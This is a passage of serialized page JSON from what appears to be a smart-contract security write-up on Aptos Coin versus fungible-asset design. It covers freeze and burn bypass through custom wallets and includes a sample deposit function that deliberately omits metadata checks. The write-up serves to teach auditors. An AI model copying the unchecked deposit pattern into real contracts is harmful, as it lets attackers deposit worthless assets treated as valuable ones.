{"class":273,"line":284},[67819,67824,67828,67832],{"type":24,"tag":271,"props":67820,"children":67821},{"style":630},[67822],{"type":29,"value":67823}," value",{"type":24,"tag":271,"props":67825,"children":67826},{"style":624},[67827],{"type":29,"value":12210},{"type":24,"tag":271,"props":67829,"children":67830},{"style":3887},[67831],{"type":29,"value":13576},{"type":24,"tag":271,"props":67833,"children":67834},{"style":288},[67835],{"type":29,"value":638},{"type":24,"tag":271,"props":67837,"children":67838},{"class":273,"line":294},[67839],{"type":24,"tag":271,"props":67840,"children":67841},{"style":288},[67842],{"type":29,"value":1171},{"type":24,"tag":25,"props":67844,"children":67845},{},[67846,67848,67853,67855,67861,67862,67868,67870,67875,67877,67882],{"type":29,"value":67847},"Aptos distinguishes coins by their type (",{"type":24,"tag":135,"props":67849,"children":67851},{"className":67850},[],[67852],{"type":29,"value":14300},{"type":29,"value":67854},") at compile time. For example, ",{"type":24,"tag":135,"props":67856,"children":67858},{"className":67857},[],[67859],{"type":29,"value":67860},"Coin\u003COtter>",{"type":29,"value":518},{"type":24,"tag":135,"props":67863,"children":67865},{"className":67864},[],[67866],{"type":29,"value":67867},"Coin\u003CWeasel>",{"type":29,"value":67869}," represent different coins, and you cannot pass a ",{"type":24,"tag":135,"props":67871,"children":67873},{"className":67872},[],[67874],{"type":29,"value":67867},{"type":29,"value":67876}," to a function expecting ",{"type":24,"tag":135,"props":67878,"children":67880},{"className":67879},[],[67881],{"type":29,"value":67860},{"type":29,"value":41},{"type":24,"tag":25,"props":67884,"children":67885},{},[67886,67888,67893,67895,67900,67902,67907,67909,67915],{"type":29,"value":67887},"The type signature reveals why ",{"type":24,"tag":135,"props":67889,"children":67891},{"className":67890},[],[67892],{"type":29,"value":67752},{"type":29,"value":67894}," has become a legacy standard. ",{"type":24,"tag":135,"props":67896,"children":67898},{"className":67897},[],[67899],{"type":29,"value":67752},{"type":29,"value":67901}," has only the ",{"type":24,"tag":135,"props":67903,"children":67905},{"className":67904},[],[67906],{"type":29,"value":13657},{"type":29,"value":67908}," ability and uses a ",{"type":24,"tag":135,"props":67910,"children":67912},{"className":67911},[],[67913],{"type":29,"value":67914},"CoinStore",{"type":29,"value":67916}," wrapper to store the coin and metadata:",{"type":24,"tag":261,"props":67918,"children":67920},{"className":10718,"code":67919,"language":10717,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[67921],{"type":24,"tag":135,"props":67922,"children":67923},{"__ignoreMap":7},[67924,67964,67992,68012,68042,68071],{"type":24,"tag":271,"props":67925,"children":67926},{"class":273,"line":274},[67927,67931,67936,67940,67944,67948,67952,67956,67960],{"type":24,"tag":271,"props":67928,"children":67929},{"style":278},[67930],{"type":29,"value":1772},{"type":24,"tag":271,"props":67932,"children":67933},{"style":3887},[67934],{"type":29,"value":67935}," CoinStore",{"type":24,"tag":271,"props":67937,"children":67938},{"style":288},[67939],{"type":29,"value":801},{"type":24,"tag":271,"props":67941,"children":67942},{"style":630},[67943],{"type":29,"value":13527},{"type":24,"tag":271,"props":67945,"children":67946},{"style":3887},[67947],{"type":29,"value":13532},{"type":24,"tag":271,"props":67949,"children":67950},{"style":288},[67951],{"type":29,"value":13537},{"type":24,"tag":271,"props":67953,"children":67954},{"style":630},[67955],{"type":29,"value":13542},{"type":24,"tag":271,"props":67957,"children":67958},{"style":630},[67959],{"type":29,"value":13648},{"type":24,"tag":271,"props":67961,"children":67962},{"style":288},[67963],{"type":29,"value":7145},{"type":24,"tag":271,"props":67965,"children":67966},{"class":273,"line":284},[67967,67972,67976,67980,67984,67988],{"type":24,"tag":271,"props":67968,"children":67969},{"style":630},[67970],{"type":29,"value":67971}," coin",{"type":24,"tag":271,"props":67973,"children":67974},{"style":624},[67975],{"type":29,"value":12210},{"type":24,"tag":271,"props":67977,"children":67978},{"style":3887},[67979],{"type":29,"value":13518},{"type":24,"tag":271,"props":67981,"children":67982},{"style":288},[67983],{"type":29,"value":801},{"type":24,"tag":271,"props":67985,"children":67986},{"style":3887},[67987],{"type":29,"value":14300},{"type":24,"tag":271,"props":67989,"children":67990},{"style":288},[67991],{"type":29,"value":13855},{"type":24,"tag":271,"props":67993,"children":67994},{"class":273,"line":294},[67995,68000,68004,68008],{"type":24,"tag":271,"props":67996,"children":67997},{"style":630},[67998],{"type":29,"value":67999}," frozen",{"type":24,"tag":271,"props":68001,"children":68002},{"style":624},[68003],{"type":29,"value":12210},{"type":24,"tag":271,"props":68005,"children":68006},{"style":3887},[68007],{"type":29,"value":19753},{"type":24,"tag":271,"props":68009,"children":68010},{"style":288},[68011],{"type":29,"value":638},{"type":24,"tag":271,"props":68013,"children":68014},{"class":273,"line":303},[68015,68020,68024,68029,68033,68038],{"type":24,"tag":271,"props":68016,"children":68017},{"style":630},[68018],{"type":29,"value":68019}," deposit_events",{"type":24,"tag":271,"props":68021,"children":68022},{"style":624},[68023],{"type":29,"value":12210},{"type":24,"tag":271,"props":68025,"children":68026},{"style":3887},[68027],{"type":29,"value":68028}," EventHandle",{"type":24,"tag":271,"props":68030,"children":68031},{"style":288},[68032],{"type":29,"value":801},{"type":24,"tag":271,"props":68034,"children":68035},{"style":3887},[68036],{"type":29,"value":68037},"DepositEvent",{"type":24,"tag":271,"props":68039,"children":68040},{"style":288},[68041],{"type":29,"value":13855},{"type":24,"tag":271,"props":68043,"children":68044},{"class":273,"line":312},[68045,68050,68054,68058,68062,68067],{"type":24,"tag":271,"props":68046,"children":68047},{"style":630},[68048],{"type":29,"value":68049}," withdraw_events",{"type":24,"tag":271,"props":68051,"children":68052},{"style":624},[68053],{"type":29,"value":12210},{"type":24,"tag":271,"props":68055,"children":68056},{"style":3887},[68057],{"type":29,"value":68028},{"type":24,"tag":271,"props":68059,"children":68060},{"style":288},[68061],{"type":29,"value":801},{"type":24,"tag":271,"props":68063,"children":68064},{"style":3887},[68065],{"type":29,"value":68066},"WithdrawEvent",{"type":24,"tag":271,"props":68068,"children":68069},{"style":288},[68070],{"type":29,"value":13855},{"type":24,"tag":271,"props":68072,"children":68073},{"class":273,"line":321},[68074],{"type":24,"tag":271,"props":68075,"children":68076},{"style":288},[68077],{"type":29,"value":1171},{"type":24,"tag":25,"props":68079,"children":68080},{},[68081,68083,68088,68090,68095],{"type":29,"value":68082},"However, an astute reader would note that this isn't the only place a ",{"type":24,"tag":135,"props":68084,"children":68086},{"className":68085},[],[68087],{"type":29,"value":67752},{"type":29,"value":68089}," can be stored. You can create your own ",{"type":24,"tag":135,"props":68091,"children":68093},{"className":68092},[],[68094],{"type":29,"value":67752},{"type":29,"value":68096}," wallet, which could look like this:",{"type":24,"tag":261,"props":68098,"children":68100},{"className":10718,"code":68099,"language":10717,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[68101],{"type":24,"tag":135,"props":68102,"children":68103},{"__ignoreMap":7},[68104,68144,68171],{"type":24,"tag":271,"props":68105,"children":68106},{"class":273,"line":274},[68107,68111,68116,68120,68124,68128,68132,68136,68140],{"type":24,"tag":271,"props":68108,"children":68109},{"style":278},[68110],{"type":29,"value":1772},{"type":24,"tag":271,"props":68112,"children":68113},{"style":3887},[68114],{"type":29,"value":68115}," DefinitelyLegitCoinStore",{"type":24,"tag":271,"props":68117,"children":68118},{"style":288},[68119],{"type":29,"value":801},{"type":24,"tag":271,"props":68121,"children":68122},{"style":630},[68123],{"type":29,"value":13527},{"type":24,"tag":271,"props":68125,"children":68126},{"style":3887},[68127],{"type":29,"value":13532},{"type":24,"tag":271,"props":68129,"children":68130},{"style":288},[68131],{"type":29,"value":13537},{"type":24,"tag":271,"props":68133,"children":68134},{"style":630},[68135],{"type":29,"value":13542},{"type":24,"tag":271,"props":68137,"children":68138},{"style":630},[68139],{"type":29,"value":13648},{"type":24,"tag":271,"props":68141,"children":68142},{"style":288},[68143],{"type":29,"value":7145},{"type":24,"tag":271,"props":68145,"children":68146},{"class":273,"line":284},[68147,68151,68155,68159,68163,68167],{"type":24,"tag":271,"props":68148,"children":68149},{"style":630},[68150],{"type":29,"value":67971},{"type":24,"tag":271,"props":68152,"children":68153},{"style":624},[68154],{"type":29,"value":12210},{"type":24,"tag":271,"props":68156,"children":68157},{"style":3887},[68158],{"type":29,"value":13518},{"type":24,"tag":271,"props":68160,"children":68161},{"style":288},[68162],{"type":29,"value":801},{"type":24,"tag":271,"props":68164,"children":68165},{"style":3887},[68166],{"type":29,"value":14300},{"type":24,"tag":271,"props":68168,"children":68169},{"style":288},[68170],{"type":29,"value":13709},{"type":24,"tag":271,"props":68172,"children":68173},{"class":273,"line":294},[68174],{"type":24,"tag":271,"props":68175,"children":68176},{"style":288},[68177],{"type":29,"value":1171},{"type":24,"tag":25,"props":68179,"children":68180},{},[68181,68186,68188,68194,68196,68201,68203,68209,68211,68216],{"type":24,"tag":135,"props":68182,"children":68184},{"className":68183},[],[68185],{"type":29,"value":67914},{"type":29,"value":68187}," includes a ",{"type":24,"tag":135,"props":68189,"children":68191},{"className":68190},[],[68192],{"type":29,"value":68193},"frozen",{"type":29,"value":68195}," field, allowing the issuer to block transfers to and from the store. ",{"type":24,"tag":135,"props":68197,"children":68199},{"className":68198},[],[68200],{"type":29,"value":67914},{"type":29,"value":68202}," is also required for a ",{"type":24,"tag":135,"props":68204,"children":68206},{"className":68205},[],[68207],{"type":29,"value":68208},"burn_from",{"type":29,"value":68210}," operation, which withdraws the ",{"type":24,"tag":135,"props":68212,"children":68214},{"className":68213},[],[68215],{"type":29,"value":67719},{"type":29,"value":68217}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":24,"tag":25,"props":68219,"children":68220},{},[68221,68223,68228,68230,68237,68239,68244],{"type":29,"value":68222},"Storing ",{"type":24,"tag":135,"props":68224,"children":68226},{"className":68225},[],[68227],{"type":29,"value":67719},{"type":29,"value":68229}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":24,"tag":32,"props":68231,"children":68234},{"href":68232,"rel":68233},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[36],[68235],{"type":29,"value":68236},"AIP-21",{"type":29,"value":68238}," summarizes the ",{"type":24,"tag":135,"props":68240,"children":68242},{"className":68241},[],[68243],{"type":29,"value":67719},{"type":29,"value":68245}," problems:",{"type":24,"tag":10670,"props":68247,"children":68248},{},[68249,68258],{"type":24,"tag":25,"props":68250,"children":68251},{},[68252,68256],{"type":24,"tag":271,"props":68253,"children":68254},{},[68255],{"type":29,"value":17298},{"type":29,"value":68257}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":24,"tag":25,"props":68259,"children":68260},{},[68261],{"type":29,"value":68262},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":24,"tag":25,"props":68264,"children":68265},{},[68266],{"type":29,"value":68267},"And declares, that:",{"type":24,"tag":10670,"props":68269,"children":68270},{},[68271],{"type":24,"tag":25,"props":68272,"children":68273},{},[68274],{"type":29,"value":68275},"Fungible assets addresses these issues.",{"type":24,"tag":25,"props":68277,"children":68278},{},[68279],{"type":29,"value":68280},"Let's find out whether this is indeed the case.",{"type":24,"tag":62,"props":68282,"children":68284},{"id":68283},"the-fungible-assets",[68285],{"type":29,"value":68286},"The fungible assets",{"type":24,"tag":25,"props":68288,"children":68289},{},[68290,68292,68298,68300,68307],{"type":29,"value":68291},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":24,"tag":135,"props":68293,"children":68295},{"className":68294},[],[68296],{"type":29,"value":68297},"FungibleAsset",{"type":29,"value":68299}," uses the ",{"type":24,"tag":32,"props":68301,"children":68304},{"href":68302,"rel":68303},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[36],[68305],{"type":29,"value":68306},"hot-potato pattern",{"type":29,"value":12210},{"type":24,"tag":261,"props":68309,"children":68311},{"className":10718,"code":68310,"language":10717,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[68312],{"type":24,"tag":135,"props":68313,"children":68314},{"__ignoreMap":7},[68315,68331,68361,68381],{"type":24,"tag":271,"props":68316,"children":68317},{"class":273,"line":274},[68318,68322,68327],{"type":24,"tag":271,"props":68319,"children":68320},{"style":278},[68321],{"type":29,"value":1772},{"type":24,"tag":271,"props":68323,"children":68324},{"style":3887},[68325],{"type":29,"value":68326}," FungibleAsset",{"type":24,"tag":271,"props":68328,"children":68329},{"style":288},[68330],{"type":29,"value":7145},{"type":24,"tag":271,"props":68332,"children":68333},{"class":273,"line":284},[68334,68339,68343,68348,68352,68357],{"type":24,"tag":271,"props":68335,"children":68336},{"style":630},[68337],{"type":29,"value":68338}," metadata",{"type":24,"tag":271,"props":68340,"children":68341},{"style":624},[68342],{"type":29,"value":12210},{"type":24,"tag":271,"props":68344,"children":68345},{"style":3887},[68346],{"type":29,"value":68347}," Object",{"type":24,"tag":271,"props":68349,"children":68350},{"style":288},[68351],{"type":29,"value":801},{"type":24,"tag":271,"props":68353,"children":68354},{"style":3887},[68355],{"type":29,"value":68356},"Metadata",{"type":24,"tag":271,"props":68358,"children":68359},{"style":288},[68360],{"type":29,"value":13855},{"type":24,"tag":271,"props":68362,"children":68363},{"class":273,"line":294},[68364,68369,68373,68377],{"type":24,"tag":271,"props":68365,"children":68366},{"style":630},[68367],{"type":29,"value":68368}," amount",{"type":24,"tag":271,"props":68370,"children":68371},{"style":624},[68372],{"type":29,"value":12210},{"type":24,"tag":271,"props":68374,"children":68375},{"style":3887},[68376],{"type":29,"value":13576},{"type":24,"tag":271,"props":68378,"children":68379},{"style":288},[68380],{"type":29,"value":638},{"type":24,"tag":271,"props":68382,"children":68383},{"class":273,"line":303},[68384],{"type":24,"tag":271,"props":68385,"children":68386},{"style":288},[68387],{"type":29,"value":1171},{"type":24,"tag":25,"props":68389,"children":68390},{},[68391,68393,68398,68399,68404,68406,68411,68413,68420],{"type":29,"value":68392},"Unlike ",{"type":24,"tag":135,"props":68394,"children":68396},{"className":68395},[],[68397],{"type":29,"value":67752},{"type":29,"value":158},{"type":24,"tag":135,"props":68400,"children":68402},{"className":68401},[],[68403],{"type":29,"value":68297},{"type":29,"value":68405}," types are defined at runtime through the ",{"type":24,"tag":135,"props":68407,"children":68409},{"className":68408},[],[68410],{"type":29,"value":68356},{"type":29,"value":68412}," field. This change was meant to ",{"type":24,"tag":32,"props":68414,"children":68417},{"href":68415,"rel":68416},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[36],[68418],{"type":29,"value":68419},"enhance extensibility",{"type":29,"value":12210},{"type":24,"tag":10670,"props":68422,"children":68423},{},[68424],{"type":24,"tag":25,"props":68425,"children":68426},{},[68427],{"type":29,"value":68428},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":24,"tag":25,"props":68430,"children":68431},{},[68432,68434,68440],{"type":29,"value":68433},"An important implication is that functions accepting ",{"type":24,"tag":135,"props":68435,"children":68437},{"className":68436},[],[68438],{"type":29,"value":68439},"FungibleAssets",{"type":29,"value":68441}," must verify the metadata to ensure valid assets.",{"type":24,"tag":25,"props":68443,"children":68444},{},[68445],{"type":29,"value":68446},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":24,"tag":261,"props":68448,"children":68450},{"className":10718,"code":68449,"language":10717,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[68451],{"type":24,"tag":135,"props":68452,"children":68453},{"__ignoreMap":7},[68454,68491,68529,68553,68565,68573,68618,68652,68682,68689,68726,68733,68771,68778,68824],{"type":24,"tag":271,"props":68455,"children":68456},{"class":273,"line":274},[68457,68462,68466,68471,68475,68479,68483,68487],{"type":24,"tag":271,"props":68458,"children":68459},{"style":630},[68460],{"type":29,"value":68461},"public",{"type":24,"tag":271,"props":68463,"children":68464},{"style":630},[68465],{"type":29,"value":13924},{"type":24,"tag":271,"props":68467,"children":68468},{"style":630},[68469],{"type":29,"value":68470}," deposit",{"type":24,"tag":271,"props":68472,"children":68473},{"style":288},[68474],{"type":29,"value":801},{"type":24,"tag":271,"props":68476,"children":68477},{"style":3887},[68478],{"type":29,"value":13704},{"type":24,"tag":271,"props":68480,"children":68481},{"style":624},[68482],{"type":29,"value":12210},{"type":24,"tag":271,"props":68484,"children":68485},{"style":630},[68486],{"type":29,"value":13648},{"type":24,"tag":271,"props":68488,"children":68489},{"style":288},[68490],{"type":29,"value":14305},{"type":24,"tag":271,"props":68492,"children":68493},{"class":273,"line":284},[68494,68499,68503,68507,68511,68515,68520,68524],{"type":24,"tag":271,"props":68495,"children":68496},{"style":630},[68497],{"type":29,"value":68498}," sender",{"type":24,"tag":271,"props":68500,"children":68501},{"style":624},[68502],{"type":29,"value":12210},{"type":24,"tag":271,"props":68504,"children":68505},{"style":624},[68506],{"type":29,"value":14858},{"type":24,"tag":271,"props":68508,"children":68509},{"style":630},[68510],{"type":29,"value":14863},{"type":24,"tag":271,"props":68512,"children":68513},{"style":288},[68514],{"type":29,"value":158},{"type":24,"tag":271,"props":68516,"children":68517},{"style":630},[68518],{"type":29,"value":68519},"fa",{"type":24,"tag":271,"props":68521,"children":68522},{"style":624},[68523],{"type":29,"value":12210},{"type":24,"tag":271,"props":68525,"children":68526},{"style":3887},[68527],{"type":29,"value":68528}," FungibleAsset\n",{"type":24,"tag":271,"props":68530,"children":68531},{"class":273,"line":294},[68532,68536,68540,68544,68548],{"type":24,"tag":271,"props":68533,"children":68534},{"style":288},[68535],{"type":29,"value":8823},{"type":24,"tag":271,"props":68537,"children":68538},{"style":630},[68539],{"type":29,"value":14061},{"type":24,"tag":271,"props":68541,"children":68542},{"style":288},[68543],{"type":29,"value":30718},{"type":24,"tag":271,"props":68545,"children":68546},{"style":624},[68547],{"type":29,"value":17298},{"type":24,"tag":271,"props":68549,"children":68550},{"style":288},[68551],{"type":29,"value":68552},"] {\n",{"type":24,"tag":271,"props":68554,"children":68555},{"class":273,"line":303},[68556,68561],{"type":24,"tag":271,"props":68557,"children":68558},{"style":598},[68559],{"type":29,"value":68560}," assert_not_paused",{"type":24,"tag":271,"props":68562,"children":68563},{"style":288},[68564],{"type":29,"value":4230},{"type":24,"tag":271,"props":68566,"children":68567},{"class":273,"line":312},[68568],{"type":24,"tag":271,"props":68569,"children":68570},{"style":288},[68571],{"type":29,"value":68572}," \n",{"type":24,"tag":271,"props":68574,"children":68575},{"class":273,"line":321},[68576,68580,68585,68589,68594,68598,68602,68606,68610,68614],{"type":24,"tag":271,"props":68577,"children":68578},{"style":278},[68579],{"type":29,"value":10738},{"type":24,"tag":271,"props":68581,"children":68582},{"style":630},[68583],{"type":29,"value":68584}," fa_amount",{"type":24,"tag":271,"props":68586,"children":68587},{"style":624},[68588],{"type":29,"value":1712},{"type":24,"tag":271,"props":68590,"children":68591},{"style":288},[68592],{"type":29,"value":68593}," fungible_asset",{"type":24,"tag":271,"props":68595,"children":68596},{"style":624},[68597],{"type":29,"value":11207},{"type":24,"tag":271,"props":68599,"children":68600},{"style":598},[68601],{"type":29,"value":27994},{"type":24,"tag":271,"props":68603,"children":68604},{"style":288},[68605],{"type":29,"value":606},{"type":24,"tag":271,"props":68607,"children":68608},{"style":624},[68609],{"type":29,"value":1137},{"type":24,"tag":271,"props":68611,"children":68612},{"style":630},[68613],{"type":29,"value":68519},{"type":24,"tag":271,"props":68615,"children":68616},{"style":288},[68617],{"type":29,"value":1155},{"type":24,"tag":271,"props":68619,"children":68620},{"class":273,"line":330},[68621,68625,68630,68634,68639,68643,68648],{"type":24,"tag":271,"props":68622,"children":68623},{"style":278},[68624],{"type":29,"value":10738},{"type":24,"tag":271,"props":68626,"children":68627},{"style":630},[68628],{"type":29,"value":68629}," sender_address",{"type":24,"tag":271,"props":68631,"children":68632},{"style":624},[68633],{"type":29,"value":1712},{"type":24,"tag":271,"props":68635,"children":68636},{"style":598},[68637],{"type":29,"value":68638}," address_of",{"type":24,"tag":271,"props":68640,"children":68641},{"style":288},[68642],{"type":29,"value":606},{"type":24,"tag":271,"props":68644,"children":68645},{"style":630},[68646],{"type":29,"value":68647},"sender",{"type":24,"tag":271,"props":68649,"children":68650},{"style":288},[68651],{"type":29,"value":1155},{"type":24,"tag":271,"props":68653,"children":68654},{"class":273,"line":339},[68655,68660,68664,68669,68673,68678],{"type":24,"tag":271,"props":68656,"children":68657},{"style":598},[68658],{"type":29,"value":68659}," check_compliance",{"type":24,"tag":271,"props":68661,"children":68662},{"style":288},[68663],{"type":29,"value":606},{"type":24,"tag":271,"props":68665,"children":68666},{"style":630},[68667],{"type":29,"value":68668},"fa_amount",{"type":24,"tag":271,"props":68670,"children":68671},{"style":288},[68672],{"type":29,"value":158},{"type":24,"tag":271,"props":68674,"children":68675},{"style":630},[68676],{"type":29,"value":68677},"sender_address",{"type":24,"tag":271,"props":68679,"children":68680},{"style":288},[68681],{"type":29,"value":1155},{"type":24,"tag":271,"props":68683,"children":68684},{"class":273,"line":347},[68685],{"type":24,"tag":271,"props":68686,"children":68687},{"style":288},[68688],{"type":29,"value":68572},{"type":24,"tag":271,"props":68690,"children":68691},{"class":273,"line":356},[68692,68697,68701,68706,68710,68714,68718,68722],{"type":24,"tag":271,"props":68693,"children":68694},{"style":598},[68695],{"type":29,"value":68696}," increase_deposit",{"type":24,"tag":271,"props":68698,"children":68699},{"style":288},[68700],{"type":29,"value":606},{"type":24,"tag":271,"props":68702,"children":68703},{"style":598},[68704],{"type":29,"value":68705},"get_vault",{"type":24,"tag":271,"props":68707,"children":68708},{"style":288},[68709],{"type":29,"value":606},{"type":24,"tag":271,"props":68711,"children":68712},{"style":630},[68713],{"type":29,"value":68677},{"type":24,"tag":271,"props":68715,"children":68716},{"style":288},[68717],{"type":29,"value":22874},{"type":24,"tag":271,"props":68719,"children":68720},{"style":630},[68721],{"type":29,"value":68668},{"type":24,"tag":271,"props":68723,"children":68724},{"style":288},[68725],{"type":29,"value":1155},{"type":24,"tag":271,"props":68727,"children":68728},{"class":273,"line":365},[68729],{"type":24,"tag":271,"props":68730,"children":68731},{"style":288},[68732],{"type":29,"value":68572},{"type":24,"tag":271,"props":68734,"children":68735},{"class":273,"line":374},[68736,68741,68745,68750,68754,68759,68763,68767],{"type":24,"tag":271,"props":68737,"children":68738},{"style":288},[68739],{"type":29,"value":68740}," primary_fungible_store",{"type":24,"tag":271,"props":68742,"children":68743},{"style":624},[68744],{"type":29,"value":11207},{"type":24,"tag":271,"props":68746,"children":68747},{"style":598},[68748],{"type":29,"value":68749},"deposit",{"type":24,"tag":271,"props":68751,"children":68752},{"style":288},[68753],{"type":29,"value":606},{"type":24,"tag":271,"props":68755,"children":68756},{"style":598},[68757],{"type":29,"value":68758},"global_vault_address",{"type":24,"tag":271,"props":68760,"children":68761},{"style":288},[68762],{"type":29,"value":26067},{"type":24,"tag":271,"props":68764,"children":68765},{"style":630},[68766],{"type":29,"value":68519},{"type":24,"tag":271,"props":68768,"children":68769},{"style":288},[68770],{"type":29,"value":1155},{"type":24,"tag":271,"props":68772,"children":68773},{"class":273,"line":384},[68774],{"type":24,"tag":271,"props":68775,"children":68776},{"style":288},[68777],{"type":29,"value":68572},{"type":24,"tag":271,"props":68779,"children":68780},{"class":273,"line":393},[68781,68786,68790,68795,68799,68804,68808,68812,68816,68820],{"type":24,"tag":271,"props":68782,"children":68783},{"style":288},[68784],{"type":29,"value":68785}," event",{"type":24,"tag":271,"props":68787,"children":68788},{"style":624},[68789],{"type":29,"value":11207},{"type":24,"tag":271,"props":68791,"children":68792},{"style":598},[68793],{"type":29,"value":68794},"emit",{"type":24,"tag":271,"props":68796,"children":68797},{"style":288},[68798],{"type":29,"value":606},{"type":24,"tag":271,"props":68800,"children":68801},{"style":3887},[68802],{"type":29,"value":68803},"Deposit",{"type":24,"tag":271,"props":68805,"children":68806},{"style":288},[68807],{"type":29,"value":8137},{"type":24,"tag":271,"props":68809,"children":68810},{"style":630},[68811],{"type":29,"value":68677},{"type":24,"tag":271,"props":68813,"children":68814},{"style":288},[68815],{"type":29,"value":158},{"type":24,"tag":271,"props":68817,"children":68818},{"style":630},[68819],{"type":29,"value":68668},{"type":24,"tag":271,"props":68821,"children":68822},{"style":288},[68823],{"type":29,"value":40691},{"type":24,"tag":271,"props":68825,"children":68826},{"class":273,"line":402},[68827],{"type":24,"tag":271,"props":68828,"children":68829},{"style":288},[68830],{"type":29,"value":1171},{"type":24,"tag":25,"props":68832,"children":68833},{},[68834],{"type":29,"value":68835},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":24,"tag":25,"props":68837,"children":68838},{},[68839],{"type":29,"value":68840},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":24,"tag":62,"props":68842,"children":68844},{"id":68843},"fungible-stores",[68845],{"type":29,"value":68846},"Fungible stores",{"type":24,"tag":25,"props":68848,"children":68849},{},[68850],{"type":29,"value":68851},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":24,"tag":25,"props":68853,"children":68854},{},[68855,68857,68863],{"type":29,"value":68856},"Meet the ",{"type":24,"tag":135,"props":68858,"children":68860},{"className":68859},[],[68861],{"type":29,"value":68862},"FungibleStore",{"type":29,"value":41},{"type":24,"tag":261,"props":68865,"children":68867},{"className":10718,"code":68866,"language":10717,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n frozen: bool,\n}\n",[68868],{"type":24,"tag":135,"props":68869,"children":68870},{"__ignoreMap":7},[68871,68895,68922,68942,68961],{"type":24,"tag":271,"props":68872,"children":68873},{"class":273,"line":274},[68874,68878,68883,68887,68891],{"type":24,"tag":271,"props":68875,"children":68876},{"style":278},[68877],{"type":29,"value":1772},{"type":24,"tag":271,"props":68879,"children":68880},{"style":3887},[68881],{"type":29,"value":68882}," FungibleStore",{"type":24,"tag":271,"props":68884,"children":68885},{"style":630},[68886],{"type":29,"value":17117},{"type":24,"tag":271,"props":68888,"children":68889},{"style":630},[68890],{"type":29,"value":13648},{"type":24,"tag":271,"props":68892,"children":68893},{"style":288},[68894],{"type":29,"value":7145},{"type":24,"tag":271,"props":68896,"children":68897},{"class":273,"line":284},[68898,68902,68906,68910,68914,68918],{"type":24,"tag":271,"props":68899,"children":68900},{"style":630},[68901],{"type":29,"value":68338},{"type":24,"tag":271,"props":68903,"children":68904},{"style":624},[68905],{"type":29,"value":12210},{"type":24,"tag":271,"props":68907,"children":68908},{"style":3887},[68909],{"type":29,"value":68347},{"type":24,"tag":271,"props":68911,"children":68912},{"style":288},[68913],{"type":29,"value":801},{"type":24,"tag":271,"props":68915,"children":68916},{"style":3887},[68917],{"type":29,"value":68356},{"type":24,"tag":271,"props":68919,"children":68920},{"style":288},[68921],{"type":29,"value":13855},{"type":24,"tag":271,"props":68923,"children":68924},{"class":273,"line":294},[68925,68930,68934,68938],{"type":24,"tag":271,"props":68926,"children":68927},{"style":630},[68928],{"type":29,"value":68929}," balance",{"type":24,"tag":271,"props":68931,"children":68932},{"style":624},[68933],{"type":29,"value":12210},{"type":24,"tag":271,"props":68935,"children":68936},{"style":3887},[68937],{"type":29,"value":13576},{"type":24,"tag":271,"props":68939,"children":68940},{"style":288},[68941],{"type":29,"value":638},{"type":24,"tag":271,"props":68943,"children":68944},{"class":273,"line":303},[68945,68949,68953,68957],{"type":24,"tag":271,"props":68946,"children":68947},{"style":630},[68948],{"type":29,"value":67999},{"type":24,"tag":271,"props":68950,"children":68951},{"style":624},[68952],{"type":29,"value":12210},{"type":24,"tag":271,"props":68954,"children":68955},{"style":3887},[68956],{"type":29,"value":19753},{"type":24,"tag":271,"props":68958,"children":68959},{"style":288},[68960],{"type":29,"value":638},{"type":24,"tag":271,"props":68962,"children":68963},{"class":273,"line":312},[68964],{"type":24,"tag":271,"props":68965,"children":68966},{"style":288},[68967],{"type":29,"value":1171},{"type":24,"tag":25,"props":68969,"children":68970},{},[68971,68976,68978,68983,68985,68990,68992,68997,68999,69004],{"type":24,"tag":135,"props":68972,"children":68974},{"className":68973},[],[68975],{"type":29,"value":68862},{"type":29,"value":68977}," manages balances and metadata instead of holding the actual ",{"type":24,"tag":135,"props":68979,"children":68981},{"className":68980},[],[68982],{"type":29,"value":68297},{"type":29,"value":68984}," (it can't because ",{"type":24,"tag":135,"props":68986,"children":68988},{"className":68987},[],[68989],{"type":29,"value":68297},{"type":29,"value":68991}," doesn't have ",{"type":24,"tag":135,"props":68993,"children":68995},{"className":68994},[],[68996],{"type":29,"value":13657},{"type":29,"value":68998},"). Withdrawals create temporary ",{"type":24,"tag":135,"props":69000,"children":69002},{"className":69001},[],[69003],{"type":29,"value":68297},{"type":29,"value":69005}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves 